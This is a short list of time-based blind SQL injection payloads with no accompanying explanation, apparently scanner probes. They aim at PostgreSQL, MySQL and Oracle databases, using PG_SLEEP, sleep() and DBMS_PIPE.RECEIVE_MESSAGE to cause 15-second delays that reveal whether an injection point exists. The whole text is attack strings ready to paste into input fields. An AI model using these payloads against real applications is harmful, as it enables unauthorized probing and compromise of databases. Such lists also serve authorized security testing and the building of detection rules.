BOk4ST1F' OR 766=(SELECT 766 FROM PG_SLEEP(15))--

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1)) OR 159=(SELECT 159 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0)

-5) OR 873=(SELECT 873 FROM PG_SLEEP(15))--

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

-5 OR 468=(SELECT 468 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)